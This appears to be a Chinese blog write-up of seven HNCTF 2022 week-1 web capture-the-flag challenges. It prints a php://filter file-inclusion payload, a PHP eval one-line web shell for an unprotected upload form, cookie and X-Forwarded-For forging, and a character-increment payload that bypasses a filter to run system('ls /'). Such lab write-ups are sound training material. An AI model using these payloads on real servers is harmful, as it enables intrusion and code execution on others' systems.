HNCTF 2022 week1 web方向题解

第一题:2048

打开环境,是一个小游戏,目标是2000分,不用管,小游戏题基本都是找js代码
在这里插入图片描述
然后代码审计,解题思路就是找到分数,也就是score所在的行或者变量
可以下载,然后vs打开用查找功能,速度快点。最终能找到这样的代码:

if (this.score > 20000)
		{
		   //var md5util= require("md5.js"); //写文件路径即可
            alert(String.fromCharCode(24685,21916,33,102,108,97,103,123,53,51,49,54,48,99,56,56,56,101,50,53,99,51,102,56,50,56,98,50,51,101,51,49,54,97,55,97,101,48,56,51,125));
		}

当score>2000时,会alert一个字符串,所以可以复制代码直接到控制台执行,得到flag
在这里插入图片描述

第二题:Interesting_include

进来先代码审计


if(isset($_GET['filter'])){
    $file = $_GET['filter'];
    if(!preg_match("/flag/i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 

这段代码的功能是get一个filter变量,然后进行正则匹配,若没有flag关键字,网页会提示error。
若有,则include函数打开此文件。
题目提示在./flag,php
但正常情况下,我们输入php?filter=flag.php,只会发现一片空白,这时就需要用到php伪协议了,而这道题使用的就是file伪协议。

简单说一下file伪协议,也是引用的别人博客(https://blog.csdn.net/qq_37466661/article/details/126203437)
php://伪协议作用是访问各个输入输出流
在CTF中经常用到的是php://filter和php://input
php://filter用来读取源码(.php文件的源码);php://input用来执行php代码(通常以post形式,post一段php代码上去执行)

接着看这道题,使用伪协议构造payload:

?filter=php://filter/read=convert.base64-encode/resource=./flag.php

这几个参数的含义就是

read=convert.base64-encode 使用base64进行编码,不加显示不出来代码
resource=./flag.php 目标对象

之后能获得一串base64内容:

解码即可(可以去这个网站:http://www.hiencode.com/)

第三题:easy_html

打开题目,提示饼干里面有东西,那就是找cookie。
检查-网络-刷新网页,只有两个网络响应,不过另一个是图标,不用管,打开cookie,提示去/f14g.php,跳转。
进去之后是个手机号登录,挺奇怪的。
在这里插入图片描述
检查能发现这个框只能输入10个数字,而正常手机号是11位。
在这里插入图片描述
直接修改maxlength为11,随便敲11个数字即可获得flag。

第四题:easy_upload

进入后提交文件,那应该是文件上传漏洞,直接构建一句话木马

<?php @eval($_POST["pass"]);?>

上传,没防护措施,之后蚁剑链接,在最上层目录就能找到flag了

第五题:What is Web

(这个题实际上也是一个教新手如何入门web的文章,新人可以看看)
打开是一篇文档,看下来没提flag,那就检查源代码,搜索

CTF
FLAG
F|L|A|G
C|T|F
f1ag #注意是1不是l
<!  #html可以搜索注释

找到flag,base64解码即可

第六题:Interesting_http

打开环境,就一句话:Please post me a want !
打开burpsuit,给它post一个want参数,随便填
会跳到第二个
在这里插入图片描述
那就post一个want=flag
接下来提示不是admin,重新看看网络请求

POST / HTTP/1.1
Host: node2.anna.nssctf.cn:28588
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJuYW1lIjoiYSJ9.ZGSZcw.dNkBqYfF3ce9GXmTzxMy3sOAkdU; user=notadmin
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

want=flag

能找到user=notadmin字段,修改为admin就行
接着提示:
在这里插入图片描述
那就加上个
x-forwarded-for:127.0.0.1 头
即可获得flag

第七题 Challenge_rce

进入环境是空白,F12看一下,要传入hint这个参数,之后网站显示源代码

<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
} 

检查 $rce 的长度是否不超过 120 个字符。
检查 $rce 是否是一个字符串类型。
使用正则表达式检查 $rce 中是否包含某些特殊字符。
如果 $rce 满足上述条件,则使用 eval 函数执行 $rce 中的代码。

本题考查的是无参数rce,可以参考以下文章

https://blog.csdn.net/qq_61778128/article/details/127063407

过滤了^和~,不能使用取反与异或,所以使用自增
主要还是要凑出system(‘ls’),由于限制了长度,可以这么写:

$_GET[1]($_GET[2]);

然后用自增数组构造

$_=[]._;$_3=$_[1];$_=$_[3];++$_;$_1=++$_;++$_;++$_;++$_;++$_;$_=$_1.++$_.$_3;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
$_=_.$_(71).$_(69).$_(84);//先构造了chr函数:$_=$_1.++$_.$_3;($_=chr)
//chr() 函数是 PHP 编程语言中的一个内置函数,用于将 ASCII 值转换为对应的字符

用post把rce传过去,再get一个1与2

11=system&&2=ls /
就能找到flag了

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值